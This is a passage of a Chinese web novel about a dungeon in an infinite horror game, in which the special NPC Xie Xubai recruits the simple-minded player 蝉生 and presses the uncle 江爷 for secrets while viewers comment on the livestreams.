:上面的别发癫行吗,这明摆着有问题。 :会不会是认知篡改?有些精神污染类型的副本也会玩这种把戏,就不知道这是谢叙白自身特性,还是副本附加的效果。 :啊?那是不是就算记住老婆的脸,进去后也认不出他?不要啊啊啊啊啊! :难道就我一个人替胡昌感到尴尬吗?当着本人的面说要好好玩弄他。 :没事,NPC又听不懂。 :普通NPC是听不懂,但谢叙白是特殊NPC呀!他连A级诡王都能降服,会是什么一般人?而且你们不觉得他在最后对许清然说的话很微妙吗,就好像早已看清一切似的。 :我靠。 :艹。 :这么一说,还真是…… :你们说他到底能不能听懂玩家的全部对话……应该不能吧?要是真的能,那胡昌岂不是贴面开大??? :快看谢叙白的反应,他在重点观察胡昌!! :卧槽,这下刺激大发了。《 》 35-40 第36章 【1w营养液加更】 循环清…… 就在谢叙白两人进入阶梯教室后没多久,老管家不知道从哪儿冒了出来,身后如常跟着一众召唤物似的保镖和佣人。 其他玩家下意识屏住呼吸,绷着身体严阵以待。 那么多人齐齐出现的动静理应不小,但他们居然没有听到一点脚步声! 谢叙白摩挲指尖,垂睫沉吟。 最初的惊讶后,他很快接受严岳认不出自己的事实。 照目前的情况来看,这似乎还是件大好事,因为玩家中有个对他怀有莫大敌意的胡子男。 谢叙白没有去深究胡子男敌视自己的原因,那毫无意义。 也没打算独自找严岳坦白身份,一边是只聊过几句的NPC,一边是并肩作战的同伴,是人都知道严岳会怎么选立场。 他想着该怎么在不暴露身份的情况下,让玩家帮忙寻找线索,不多时,有了几个想法。 谢叙白思考的这段时间里,玩家们全都一声不吭,包括吵吵嚷嚷的胡昌,也识时务选择地闭嘴。 NPC只是听不懂和副本有关的话,不是瞎了或聋了,贸然开口会引起不必要的麻烦。 几人同时改用队内聊天功能交流。 严岳:就像刚才讨论的那样见机行事,千万不要贸然触怒NPC。 玩家1:了解。之前我考过教资,如果一会儿要面试就让我先上,你们在后面观察情况。 胡昌:嚯!居然有人愿意主动趟雷,很好很好。严岳,我还以为你这次进副本会带上那个小姑娘,怎么着,不装你的仁义道德了? 副本可以组队攻略,但要花天价积分购买组队道具,组队人数也会受到副本的限制。 比如这次的7人本,只能找1个人组队。 胡昌已经看出来了,那名主动趟雷的玩家,就是攻略组给严岳安排的死士。 所以他嘲讽严岳的仁义道德是装出来的,在保护许清然这样的弱小面前,终究选择保障自己的安全。 这嘲讽中多少带着嫉妒的味道。 一个【6】,一个【5】,在攻略组里的待遇是天差地别。如果严岳是凭本事通关的也就算了,关键他是运气好,可把胡昌气得不轻。 严岳:比起批判我,你一个【5】,厚着脸皮找议会长讨要蝉生的行为又能好到哪里去? 说话时他顺势瞄向胡昌身后的玩家。 那人全身缠满白色绷带,分不出性别和年龄。整张脸只有鼻孔、嘴巴和一双涣散无神的眼睛露出来,心不在焉地看看天花板,又好奇地瞅瞅脚下的瓷砖。 和争着找他自荐的死士不同,这名代号“蝉生”的死士智商低下,没有任何自主能力。 技能却很罕见地拥有两个效果,其一是免疫疼痛,其二则是…… 严岳深吸一口气。 他知道在无限游戏里谈人道不现实,但还是无法理解议会长为什么会把蝉生交给胡昌。 严岳强调:既然已经带进来了,那就好好珍惜他的命。 胡昌嗤笑:还用得着你说?担心担心自己吧,这场游戏可没有特殊NPC能帮你,别到时候带着自己的死士一起栽沟里,那可真是笑死…… 意念打出的文字会逐一显示。 结果还没说完,就被一道清脆的少年音给打断。 “对,就是那个人,让他走。” “走”既出局,会死。 这是在场所有玩家的认知。 刹那间他们抬起头,惊骇地看向长相无害的少年,怀疑自己出现了幻听。 特别是胡昌。 对上江凯乐漠然无情的眼神,他后知后觉地反应过来,少年说的“让他走”不是别人,是指他! 可是他做错了什么?! 胡昌回忆刚才和少年见面之后的举动,自觉没有什么问题。 包括在鉴定出谢叙白和江凯乐两人的低数值后,他也没有暴露内心的鄙夷,甚至收敛了对严岳的嘲讽。 眼见老管家面无表情地喊上两个保镖,试图将他带走,胡昌脸皮一抽搐,慌张地回头问:“江少爷,我到底是哪里做得不好,您总得让我死个明白吧?” 这种不安好心的东西,强撑笑脸的时候更是让人作呕,江凯乐见惯了,都懒得理他。 但江凯乐瞄一眼身边同样感到意外的谢叙白,怕被人误会,对胡昌抬了抬下巴,纡尊降贵地给出解释:“你刚才说话的嗓门太大,一点都不稳重,江家不需要这样的家庭教师。” 他说完,没给胡昌继续辩解的机会,赶蚊子一样摆摆手:“还愣着干什么,快点送这位先生去门口,别说我们招待不周。” 胡昌惊恐地发现自己居然动弹不得。 他立马反应过来,江凯乐的最后一句话直接变成规则之力加缚在他的身上,别说使用技能道具反抗,他连抬手都做不到! 千钧一发之际,胡昌的脸上掠过一抹阴狠,咬牙恨声道:“蝉生,替换!” 在他身后,眼神飘忽的绷带人突然浑身一震。 下一秒,胡昌和绷带人身影闪烁,眨眼间位置互换。 好端端站在原地的人变成胡昌,而满眼茫然的绷带人则被保镖拽着胳膊拉走。 严岳见状,捏着眉心气不顺,在组队频道中呵斥道:都知道A级诡王副本不简单,你能不能小心点! 胡昌脸色扭曲。蝉生是他好不容易从议会长那求来的保命手段,结果开场就没了,简直是血亏! 他一想到直播间外的观众把自己开局就丢命的愚蠢行为看进眼里,热度一定咵咵往下掉,不知道会丢掉多少积分,更忍不住一阵心梗窝火。 严岳的怒斥如同火上浇油。 胡昌感觉自己的脸被隔空打得啪啪疼,忍不住羞愤得捏紧拳头。 恰是这个时候,谢叙白忽然开口道:“先等一等。” 拽着绷带人的保镖不认识谢叙白,脚步没停。 江凯乐蓦然冷眼刺过去,厉声道:“老师让你等一等,你是没长耳朵吗?” 他说出最后一个字,强大的威压瞬间如雷霆砸下,保镖差点腿软跪在地上。 察觉到江凯乐的怒火,他恐慌地停下来,回头焦急辩解:“不不,我不是故意的,刚才真没有听见,大少爷别生气!” 保镖说着转向谢叙白:“对不起这位先生!” 队内聊天频道又是一阵哗然。 《屠龙少年》的名称摆在那,就算鉴定出来的数值很低,几名玩家也不敢轻视江凯乐。 他们难掩震惊。是没想到旁边不事声张的青年,竟能得到江凯乐的如斯重视。 难道对方在这个副本中的等级,比江凯乐还要高出一层? 迎着玩家们惊疑不定的眼神,谢叙白对保镖摆手,示意没事。 他面色平常地走到绷带人的面前,温和地询问道:“你知道10加10等于几吗?” 绷带人愣了愣,不确定地看向严岳等一众玩家。 急得其他人在队内频道里疯狂@他:回答他的问题,快! 消息一连串地弹出,密密麻麻如潮水。 然而绷带人不认识字。 他迷茫地张嘴道:“等于10?” 靠—— 原以为看到转机的其他玩家登时眼前一黑。 江凯乐听到这话,差点都给气笑了,转向老管家问道:“这就是我的好父亲为我精心挑选出来的家庭教师?” 老管家冷汗差点掉下来:“肯定是核查身份的时候出了问题,我这就去查,一定给大少爷您一个交代!” 他转向绷带人,张嘴就想喊其他人把这丢脸的玩意拖下去,谁知道谢叙白忽然笑着说:“你很认真。” 虽然有成年人的躯壳,但谢叙白看着对方清澈干净的眼神,猜这人的智商应该不超过三岁。 说认真,是因为这人在回答问题前努力地掰开手指头算了算。尽管对方看起来连题目都没听懂的样子,总共有10根手指,他就回答10。 不过,谢叙白现在就需要这样的助手。 智商不高,不会有别的心思,认真且听话。能进副本的玩家,武力值应该也不低。 江凯乐看出谢叙白对绷带人不一般的态度,疑惑道:“老师难不成想留下他?” “嗯,我的身边缺少一个帮忙搬教具的助手。”谢叙白转向江凯乐,“可以吗,江同学?” 江凯乐没法拒绝谢叙白的请求。 只是绷带人底细不明,冒然放在老师的身边,他不放心,准备先答应下来,观察一阵再说。 谢叙白对绷带人伸出手:“看样子,从今以后你就是我的助教了。我叫余又,你叫什么?” 听到谢叙白的自称,江凯乐忍不住又瞄了他们一眼,有些狐疑。 绷带人怔怔地看着谢叙白:“我……” “来这里之前,是不是有人告诉过你,要你尽可能地留下来?”谢叙白贴近绷带人的耳边,用哄小孩的语气小声说道,“你跟我走,听我的话,我就保你留在江家,好不好呀?” 温热的吐息似清风抚过耳垂,绷带人仰头看着谢叙白温润如水的笑脸,脸颊莫名有些发烫。 因为缠着绷带,也看不太出来。 “……是的,议会长说过。”绷带人混乱的脑子终于转过弯来,“我叫蝉生。” “蝉在蛹中沉寂多日,换来一鸣惊夏,破茧重生。”谢叙白拉他起来,语气含笑,“是个好寓意。” “对……!”听着谢叙白柔和的语气,蝉生莫名想起一些事,语无伦次地张嘴,“那个人很好,特别好!” 他隐约记得,这名字是个很重要的人给他起的,可他怎么都想不起来那个人是谁。 急得下意识抓住谢叙白的手,眼白爬满蛛网般的红血丝,看着极其可怖。 玩家们吓得灵魂出窍,简直想直接冲过去把他冒犯人的手掰开。 可谁想到青年竟然一点都没生气,反手安抚拍了拍蝉生的手背,认真地道:“我感受到了,他是个很好的人。” 刹那间,蝉生的瞳孔颤了颤,再张嘴时语气欢欣雀跃,积极地说道:“你也很好,我可以帮你做任何事!” 听到这话的胡昌差点没憋住,龇牙咧嘴地瞪向蝉生。 ——这个被NPC忽悠得忘乎所以的蠢货,到底还能不能意识到他在为谁卖命?! 显然,蝉生脑仁不大的脑袋瓜分辨不出胡昌眼神的意味,疑惑两秒,便漠然地挪开视线。 胡昌气得简直要吐血。 “你突然提醒了我。”谢叙白对江凯乐说道,“我急着过来,没来得及收拾行李,能拜托江同学先找人送我回去吗?” 他知道自己已经进入循环,走不出江家的地界,但江凯乐应该有应付的说辞。 果不其然,少年干巴巴地说道:“老师你既然身体不适,就不要来回折腾了,等下你把钥匙给我,我找人帮你把行李搬过来。” “好。”谢叙白笑着说道,又用手按了按太阳穴,做出困乏的模样。 江凯乐见状急忙说:“老师你是不是累了?我这就带你去休息。” “不用,这里需要江同学,让蝉生陪我去,再找一个人带路就好。”见少年一脸不甘愿,谢叙白对他眨眨眼睛,“晚上我能来找江同学了解一下你的学习情况吗?” 听到晚上谢叙白会主动来找他,江凯乐脸色稍霁:“当然可以,老师随时都能来找我。” 等谢叙白带着蝉生离开,其他玩家立马在队内通讯里炸开了锅,纷纷讨论谢叙白到底是什么身份。 直至阶梯教室的温度陡然上升三十度,热气如浪扑面。 天花板和墙面裂开,露出焦黑的炭痕,浅绿色的大理石地砖一片通红,仿佛下面有熊熊火焰炙烤,整个空间都仿佛在炽热的高温下扭曲! 玩家们浑身鸡皮疙瘩立起,一寸寸抬头,惊魂未定地看向江凯乐。 随着火焰的升高,老管家等人仿佛化作焦黑狰狞的鬼影,在朦胧的火光中张牙舞爪,凄厉嘶吼。 江凯乐端坐在讲台之上,露出猩红眸眼,对鬼影的惨叫更是置若罔闻。 这少年竟然就是该场副本的诡王! 玩家们寒毛直竖,纷纷拿出武器准备应战,但江凯乐似乎没准备对他们下杀手。 “就像你们看到的那样,我已经有老师了,不需要其他的老师,更没人可以顶替他的位置。” “但我的父亲是个老糊涂,一直都试图往我身边塞人,来逼迫我向他低头。” 江凯乐起身,顺着台阶踱步而下,姿态优雅从容,像童话故事书中走出的小王子。 然而,烤得玩家呼吸不畅的高温,干裂墙面不断挣扎的焦黑鬼影,和少年不带一丝感情的血瞳,都为眼前的一幕添上荒诞恐怖的色彩。 江凯乐笑盈盈地看向在场玩家:“所以,我需要你们帮我出招,让我成为江家的主人。” 这一听就是个送命题! 可玩家们吞咽唾沫,不敢不从,老管家和其他佣人保镖还在墙里叫得惨烈,如果他们开口拒绝,恐怕那就是他们几秒后的结局。 一想到这儿,他们就无比羡慕被谢叙白带走的蝉生,甚至是嫉妒。 和江凯乐的要求比起来,10加10到底是什么天使问题。 能不能回来让他们回答一遍,也把他们带走啊啊啊啊啊! 另一边,谢叙白两人在保镖的带领下往客房的方向走去。 没走多久,谢叙白落后几步,对蝉生轻声说:“打晕他,别杀他。” 蝉生想也不想地一手刀砍过去。 嘭的一声,保镖两眼一黑,以头抢地。 谢叙白半蹲下身仔细检查,呼吸和脉搏都正常,被打的地方一点伤都没有。 若不是保镖在他眼前被打倒,他几乎以为这人是自己不小心倒地睡着。 谢叙白讶然转头。 原本选蝉生只是碰巧,却没想到自己捡到了宝,顿时冲人竖起大拇指:“干得漂亮。” 蝉生学谢叙白,双腿并拢蹲在他的身边,闻言弯起眼睛,似乎在为被夸而高兴。 再然后,谢叙白垂下眼睫,让自己静心。 风声渐消,树影缓停。 他眼底仿佛有什么东西在一点点沉淀下来,深沉似海。 刹那间,谢叙白再度踏入自己的记忆空间。 所有的记忆如漫天洒落的雪白纸页,他往前伸出双手。 纸张如飘雪纷飞,随呼啸而来的飓风在他胸前汇印成一本厚重典雅的古书。 仅仅一个念头,无数和江家人交流沟通过的消息、八卦、寒暄被事无巨细地呈现在纸面上,任由他随意翻阅。 风暴将衣摆震得不断摇摆,谢叙白的目光却始终平静无澜。 循环规则可以回溯时间,清空他之前做过的事,让他曾经的付出如竹篮打水一场空,洒得干干净净。 却不能消除他的记忆,他努力学到的知识和曾经获知的信息。 他累死累活那几个月,可不是白忙活的。 背后专业团队的各项技能,他学了个大概。江家人的弱点,他知道得一清二楚。 要解除循环,得了解江家的过往,溯源找到祸根。 既然吕向财之前给的资料不全,那不如去问问本人吧。 谢叙白伸出手,平静视下。修长的手指点上无形的古书,指尖慢条斯理地游走于数个人名之上,透着一股执棋落子的从容。 现在,先挑谁下手呢? 第37章 江爷,你也不想秘密被江家…… 此时的直播大厅很是热闹,激动亢奋的叫好声犹如山呼海啸,响彻云霄。 其中也不乏夹着愤怒的咒骂声。以主播的人身为圆心 ,父母为半径,一路问候到祖宗十八代。 上一秒爱得情深意切,下一秒恨得想抽筋剥皮,如此割裂的景象在直播大厅亦是常态。 毕竟玩家们观看直播可不止是为了娱乐,更是为记忆通关细节。 主播死,直播间消失,观众记下错误的通关方法,时间积分精力全部打水漂,心里难免生出备考前买到假资料还认真做完一半的愤恨,更加不愿意去看小主播。 失衡的直播机制,造就出两极分化的极端境况。 大主播的热度蒸蒸日上,其他直播间冷清得门可罗雀。 宛如满汉全席一股脑地堆到上层的餐桌,底层闻不到一点肉腥。 主播即闯关者之间的差距悬崖式拉开,歧视链也在不知不觉中生成,玩家们对热度失衡的不甘眼红尤其强烈。 刚开场不到半小时,分区中央的投影池里就有几十个直播屏幕消失。 哪怕其中混杂着不少新人玩家,也让观众们脊背发寒。 一些好事者胆寒的同时,抽空点进许清然的直播间,忍不住咋舌:“居然还活着,命真大。” 旁边的人顺势瞄了一眼。 虽然没点播看不见直播画面,但能看到上方的主播头像、房间号和热度值。 之前许清然好运冲上首页的话题闹得沸沸扬扬,这人就是不忿者之一。 见对方酸的是许清然,他跟着刻薄地应和。 “嘁,也不看看上场直播让她赚到多少积分,稍微有点脑子的都知道多买几个高级道具防身,活过见面杀有什么好奇怪的?” 他幸灾乐祸地看向那低得可怜的热度值:“可惜那些都是过往繁华咯!你看她这场试炼没遇到上次的特殊NPC,还有几个人愿意留下来看她那些愚蠢的操作?” 同分区的观众也被他咋咋呼呼的声音吸引过来,凑近一看还真是。 “这是许清然?我听说严岳也没和她组队,就没再关注她。她这次热度和上次比还真是天差地别!” 那名观众扯了扯嘴角,继续挖苦嘲弄道:“而且我听说那个疯子也和她匹配到了一起,这就是透支运气的代价。” 疯子? 其他人愣了愣,惊悚地倒吸一口凉气:“你是说那个连自己人都杀的变态?” “除了他还能有谁?上场《犬害》也一样,宰完诡王后连带着幸存的玩家一起杀了,说什么BOSS是他打死的,其他人没资格坐享其成。” 想起那反人类的屠杀场面,他忍不住打了个寒颤,厌恶反感的同时,也露出一抹不怀好意的笑:“所以许清然这次试炼算是走到尽头了,管她还不如去看看其他人的直播。” 听出“疯子”身手不凡,有人忽然生出猎奇心,想找对方的直播间观赏下操作。 结果被其他玩家告知,那人从来就没有开过直播。 “他招惹的玩家不少,不开直播或许是怕被人堵重生点,每次进副本也会先杀掉队友,防止被直播镜头暴露行踪。” “唉,明明这么有实力,谁想到是个反社会变态,也不知道进游戏前受过什么刺激。” “我倒是听过一些小道消息,据说那家伙不小心被拐入杀猪盘,被人骗财骗色,死得特别凄惨!更要命的是,那些骗子贪心不足,等人重生后还想故技重施搞他第二次,没想到直接露了馅!” “打那之后,疯子就彻底疯魔了,不仅把骗他的人折磨得人不人鬼不鬼,还迁怒到其他人头上,特别是那些表现得很友善的老好人。” 老好人? 这时,点开许清然直播的观众,忽然注意到左上角的副本人数。 凄凄凉凉的数字2。 开场才半小时,这个副本居然只剩下两个人?? 该观众立时感觉后背发寒,低头看去,其中一条弹幕赫然醒目:【疯子要是知道谢叙白在严岳的副本里,留着许清然也找不到他,会不会发疯?】 :肯定会吧…… :原本我还很嫉妒许清然,现在只能说,默哀,祝她好运。 :妈的,到底有没有人能制裁一下这个傻逼疯子?这种报复社会的混账留着和定时炸弹有什么区别! 注意到许清然困境的人到底只在少数,更多观众则是聚集在严岳和其他大主播的直播间里,兴冲冲地讨论《屠龙少年》副本的通关办法。 存活时限为十天,条件算得上苛刻。毕竟A级诡王副本险象环生,每一天都是在悬崖上走钢丝。 而且副本难度会随时间倍增,《嫁山女》五天屠村,《犬害》七天屠市,《屠龙少年》第十天怕不是要屠省! 有人认为第一天的难度是最简单的,不如想办法现在干掉BOSS,一劳永逸。 他的未雨绸缪也有根据,《屠龙少年》对应“屠龙少年终成恶龙”这个众所周知的谚语故事,耐人寻味的结局让人不由得怀疑,本次副本“少年”才是祸乱的根源。 加上江凯乐诡王的身份,更加让人细思极恐。 热度排行首页的大主播大部分都抱着相同的通关思路,包括攻略组的其中三名【6】。 不过他们没亲身下场,而是通过威逼利诱的方式让其他玩家先出手。 结果可想而知,观看池瞬间又少掉几十个直播屏幕。 一名【6】隐藏在幕后,略过满地的玩家尸体,不留痕迹地打量捂着伤口满脸阴狠的少年,摆出一副“果然如此”的架势。 为了吸引观众眼球,提升直播热度,他信誓旦旦地对着直播镜头解说:“看到没有?就像我最初推测的那样,这只诡王在初期根本没什么实力,他甚至能被A级道具所伤。” “犹豫才会败北。” 【6】说着,露出一抹胸有成竹的冷笑:“我猜有很多闯关者被上场试炼弄怕了,以为副本还有反转,叽叽歪歪的不敢下手。但我可不会像他们那样优柔寡断。” “现在看直播的粉丝都给我听好了,把你们手里的积分留着,别浪费给那些蠢货。A级诡王算什么东西?我直接杀穿这场副本!” 有毅然走杀戮线的玩家,自然就有投鼠忌器、决定收集完线索再行动的人。 比如严岳和另外一名【6】。 但谢叙白的出现,导致两人的副本内容大相径庭。 严岳他们遇到的江凯乐,自信张扬,气势十足,开场就袒明自己要篡位江家主的位置,让玩家给他支招。 而另一名【6】所遇到的诡王少年,则和大多数玩家所见一样,是个浑身散发阴郁气息的小可怜。 少年皮肤苍白,白色衣袍松松垮垮地挂在肩膀上,看上去瘦骨伶仃。 他眼睫垂下,写满哀苦和愤恨,恳切地请求玩家帮他对付江家的恶人。 江家恶人很多,除去最难对付的江家主,首当其冲的就是江爷。 江爷,即江家大伯江世安,也是江家主的哥哥,现任江氏集团子公司的董事长。 根据【6】用道具打探来的消息,江爷作为长子却没能继承集团总裁的位置,一直耿耿于怀,明里暗里都在给江家主下绊子。 作为江家主的独生子,少年自然也是江爷暗中欺压、贬低的对象。 据说在少年小的时候,他曾被一伙人掳到山林间,差点为此丧命。 后有种种迹象表明,是江爷为争家主位私下买通雇佣兵,对他这个继承人狠下杀手。但苦于没有证据,最后只能作罢。 所以少年让玩家们对付江爷,理由很充分,一是江爷手脚不干净,二是有害命之仇。 无论是谨慎观望党,还是少部分决定走救赎线的玩家,都需要尽可能收集所有线索拼凑真相,无从拒绝少年的请求。 但他们的收集之路很不顺畅。 哪怕知道被诡王点名的江爷不好对付,也没想到对方开场即狂暴! 在看出玩家们怀着探查真相的目的而来后,豪华精美的别墅顷刻间异化为危险重重的陷阱迷宫。 走廊被拉伸得无限长,墙壁爬满粗壮搏动的血管。地板骨碌碌滚动着长满尖牙的青肤无脸人头,一嘴咬下去,坚硬的大理石砖应声而碎。 有玩家反应慢一拍,被不慎咬住脚踝。 不等他往下看,咔嚓一声,鲜血从断开的碎骨截面喷涌而出,如雨点洒满地板。 受袭玩家顿时发出撕心裂肺的惨叫,不稳地栽倒下去。 旁边的同伴甚至来不及拉住他的手,便看见无数颗人头狞笑着蜂拥而上。 它们像嗅到肉味的行军蚁,张开血盆大口,顷刻间将毫无还击之力的玩家,啃得只剩几根森森白骨。 整个过程中,异化成肉山魔王的江爷就坐在别墅的主位上。 听着楼下传来的惨叫声,他慢条斯理地给自己倒上一杯红酒,端在手中摇一摇。 嗅着溢散而出的酒香,那双被满脸横肉挤得看不清的小眼睛,惬意地眯成一条缝。 看到江爷把玩家的性命当乐子玩,观众心里那叫一个窝火。 幸好他们挑选的大主播足够给力,哪怕废上好一番周折,到底还是成功将江爷斩于马下,最后在卧室找到部分线索。 只是,怎么看着就这么让人不爽呢? 就在这时,几个分区传来意味不明的叫喊声:“这傻子还真是命好!” 在直播大厅,观众们的反应就是热度的风向标。 如果像这样同时响起震耳欲聋的喝彩声,必定有某个主播打出精彩操作,或找到破局的关键线索。 于是其他人想也没想地凑过去,兴致勃勃地问:“怎么了,说谁命好?” “还能是谁,那傻子呗!” 玩家实力排行总榜上,有两个人只需要叫出绰号,就能让玩家在脑子里对上他们的脸。 一个是专挑善人迫害的疯子,一个则是智商不过百的傻子,蝉生。 其他人闻言一怔。 他们原以为傻子是形容词,谁知道真就在说蝉生,心里那叫一个稀奇:“不是说议会长没有参加试炼吗?” “他这次没跟着议会长进副本,跟着胡昌呢,也不知道胡昌怎么说服的议会长。” “嗯?”听者心中更加惊异。 最开始蝉生步入观众们的视野时,人气还不小,毕竟不是谁都能在一开始拥有A级战斗天赋。 直到观众看见那低到令人发指的智商数值,登时瞠目结舌。 看蝉生能跑能跳,行动自然,他们想着无限游戏总不能真把一个智障丢进副本,便抱着侥幸心理看了下去。 谁知道人傻得名副其实,开场毫无心机地吃下诡怪给的饭菜,活不到十分钟就把自己给毒死了! 甚至死之前,还一边吐着血,一边茫然地给下毒的诡怪说了声“谢谢,味道不错,就是我吃不惯”,把观众哽得一愣一愣的。 此后蝉生更是一发不可收拾,在试炼池里不断解锁傻子的一百零八种死法。 由于失败会清空记忆,蝉生又毫无戒备心,经常在同一个地方踩雷白给,看得观众头皮发麻,纷纷取关。 若不是议会长心下不忍,出面把蝉生收入攻略组,恐怕人现在都还在重生点反复挺尸。 事情到这里,基本可以定性为小傻子得到好心人救助的暖心故事,不值得再被人关注。 关键在于,被议会长带着通关过一次试炼后,蝉生竟然解锁了特级防御技能【替死鬼】! 特性一,保留触觉,无视疼痛。 特性二,可以不受任何限制替人受死——注意是不受任何限制,哪怕玩家处于被完全控制的状态,也能立刻得到解救! 能打,听话,带着就等于多一条命。 试问这样的队友谁不爱? 自此,蝉生彻底撕掉拖后腿的标签,受到玩家们的热烈欢迎。 他的直播间或许没什么名气,却有一大帮看他可怜乖巧的妈妈粉(有男有女)死忠坚守阵地,稳若泰山的热度在排行榜上也是独一份。 其他观众心想,蝉生和议会长解绑跟了胡昌,这些妈妈粉还不当场抓狂? 正好他们很好奇蝉生好运在哪儿,抱着看热闹的心理点进直播间,没想到弹幕上一点骂声都看不到,和谐得直冒暖橘色泡泡。 :呜哇,蝉生好可爱,谢叙白好温柔。 :这个特殊NPC居然教蝉生怎么开锁欸,他真好,我好爱! :终于有人愿意宠着咱们的傻孩子,而不是整天想着怎么骗他送死,我都快感动哭了! 才进来的观众们愣了愣。 他们看向直播画面,缠满绷带的蝉生和谢叙白并排站在别墅的后门,地上躺着不少被打晕的佣人。 谢叙白耐心清雅的嗓音徐徐传入他们的耳朵里:“……对,就是这样,你的手指长而纤细,只要勤于训练,就能变得非常灵活。” 观众惊讶地看到,随着青年手把手对蝉生做出指点,那根被蝉生别扭夹在指缝中的钢针,忽然缓缓地律动起来。 钢针在阳光下起舞,从滞涩到逐渐流畅,银白色的亮光一掠而过,宛如蜻蜓轻轻振动的翅膀。 谢叙白看在眼里,忍不住想夸他,弯眸轻声道:“做得真棒。” 蝉生捏着手里的钢针,像得到新玩具,举到面前仔细看,表情傻乎乎的。 谢叙白分神注意屋子里的动静。 听到沉重的脚步声由远至近,他拍了拍蝉生,让人做好偷袭的准备,结果蝉生愣上一会儿,反手将某个东西递到他的眼前。 粉红色,草莓形状的……水果软糖? 对上谢叙白讶异的眼神,蝉生睁着清澈的黑眼睛,悄悄说:“吃下去,你就不会死了。” 蝉生和胡昌位置互换,且没有引起任何NPC注意的场景至今历历在目。 谢叙白仅用半秒时间便反应过来,只要吃下这颗草莓软糖,蝉生就能在关键时候替自己受死。 直播间的妈妈粉们欣慰的笑僵在脸上,差点心态爆炸。 :傻蝉你到底在干什么,他教你开锁是顺手,你还他的可是命啊!! :谢叙白应该不会要吧,他那么强。 :和强不强没关系,不如说越是强大的人就越惜命,古代皇帝还想方设法求长生呢!谁能抵挡得住多一条命的诱惑? :完了,还以为傻蝉逃过一劫,结果最终还是躲不过替人送死,真是个傻子啊…… 也是这时,直播画面中的青年复杂地看了蝉生一眼,快速伸向那只举着软糖的手掌。 妈妈粉们见状更是一阵痛心疾首。 谁能想到青年收回手,那颗草莓软糖依旧呆在蝉生的手上。 而且,旁边还多了一颗圆滚滚的……橘子味硬糖? 看见橘子糖的蝉生表情更呆了,不敢置信地看向谢叙白,被后者照着脑门不轻不重地敲了一记。 “怎么能把这么重要的东西随便送出去?”谢叙白无奈轻斥。 但蝉生替死的本事,或许就是他的生存之道。想到大部分玩家的处境,谢叙白只剩叹息。 他面上没有表露出来,弯眸笑了笑,“不过我的糖便宜,10元1袋30颗,很甜的,一会儿可以尝尝看。” 说话的间隙,谢叙白伸手用力往蝉生胸口上一推,同时撤身吩咐:“蝉生,动手!” 蝉生在惯性下后退,被猛然推开的金属门擦着他的鼻尖一掠而过。 听到谢叙白指令的刹那间,他怔愣的眼神变得极其凌厉,想也不想地一拳头揍过去。 嘭! 没来得及异化的江爷江世安原地倒飞出去,后背狠狠地砸在树上,痛得眼冒金星。 他龇牙咧嘴,逆光中看到一道颀长清瘦的身影站在树荫下,平静地垂睫看向他。 被疑似偷袭者的人用这种姿态凝视,心高气傲的江世安哪里受得了? 当场怒发冲冠,撑在地上的手不断鼓起血泡,嘶吼声呼之欲出。 ——他要把这人的眼珠子挖出来,再折磨得这人跪地求饶! 谢叙白:“江爷,您猜江家主知道您欲要设计做空公司,结果被骗子倒坑一把欠下几亿亏空的事吗?” 噗通。 气势汹汹起身到半途的江世安一个腿软,当场跌坐回去。 五分钟后,江世安做小伏低地缩在还没他半个身子大的椅子上,畏畏缩缩地偷瞧谢叙白的脸色:“这位先生,你要相信我,江凯乐曾经被绑架的那事真不是我做的,我有证据……” 蝉生守在谢叙白的旁边,一边注意着江世安的异动,防止他暴起伤人,一边用指尖挑开橘子糖的包装纸。 包装纸是那种常见的塑料纸,印着橘子花纹,其他部分透明,阳光下会反射出五彩斑斓的光。 蝉生好奇地看向塑料纸,他的替死软糖直接生成,没有这种东西。 捏一捏,嚓嚓嚓,像树叶被风吹动的声音。 他再小心地捏起橘子糖,晶莹剔透,橙黄色的,闻起来很香很甜。 蝉生死过很多次,但直播间的妈妈粉却为他记得,这还是第一次,是别人给他糖。 蝉生看了眼谢叙白,见人没有回头,便将糖果偷偷塞进嘴巴里。 他下意识鼓起腮帮子,却舍不得咬下去,只用舌头轻轻舔。 唔…… 果然很甜。 第38章 孩子长牙了 当年那件绑架案发生后,江世安确实窃喜过好一阵,可谁想到,后来竟渐渐传成是他在背后一手策划。 各种版本的谣言说得有鼻子有眼,愈演愈烈。 连江家主也被惊动,脸色黑沉地将他叫过去一顿盘问,差点上家法。 江世安一看,这还了得?火急火燎找人调查绑架案的幕后主使,最后的调查结果让他心惊。 更让江世安感到惊疑不定的是,当他把调查到的资料全部上交给江家主,后者翻看完后,居然捏着眉心重叹一口气,让他以后不要再提起这事。 江世安知道谢叙白为江凯乐而来,义愤填膺地指责江家主的不作为。 “他当时看起来一点也不意外,似乎早就知道有人要对凯乐下手。可他不仅没阻止,居然还包庇意图杀害自己儿子的凶手,这里面肯定有什么问题!” 江世安指责完,还觉得意犹未尽,添油加醋地继续骂:“真是太狠了,虎毒还不食子,他简直连畜生都不如!” “如果你怀疑我说谎,资料备份就在卧室的抽屉里,这是钥匙,你自己去看。” 江世安将钥匙递了过去。 他眼珠子一抬,贼眉鼠眼地在谢叙白和蝉生身上来回转,暗藏杀机。只等一个人离开后,就对另一个人下手。 谢叙白静静地看了他一眼,让蝉生把晕倒的佣人叫醒。 江世安笑容一垮,急急忙忙地说道:“这么重要的资料怎么能交给下人?还是我自己上去拿吧。” “没关系。”谢叙白将钥匙交给不明所以的佣人,“听到了吗,你主人说事关重大,如果卧室里有类似的文件资料也一起拿过来,宁可错拿也千万不要遗漏。” 一起拿过来?卧室里可还放着几个季度未经处理的公司财报! 江世安急得拼命给佣人使眼色,结果佣人转头一看他无比难看的脸色,暗想这次的事可能真不小,脸色一肃。 至于江世安有没有可能不情愿被挟持?那肯定不会,谁能在江家的地盘威胁江世安。 而且,要真是威胁的话,江世安怎么可能心平气和地与谢叙白面对面地坐下来交谈? 佣人郑重其事地应道:“我明白了,一定全部拿来。” 你明白个锤子! 江世安两眼一翻,差点厥过去。 佣人贴身伺候江世安的起居,卧室里的东西他不说知道个一清二楚,也能找出七七八八。 没一会儿就回来复命。 江世安见他手里抱着的一大摞,肥大的嘴唇激动地抖个不停。 佣人见状再次保证:“放心江爷,我连您的床垫底下都翻过了,保证没有遗漏。” “你——”江世安霎时间气得鲤鱼打挺,撑着上半身哆嗦大半天,最终扶着晕眩的额头瘫软下去,面如缟素,心死成灰。 谢叙白在一堆东西里耐心地翻翻找找,抽出记有当年真相的调查文件。 江凯乐被拐走大概是他五岁时发生的事情,距今已有十一年。 谢叙白摸着泛黄老旧的纸张,心道这份资料应该不假,不然江世安不会留那么久来确保自己的“清白”。 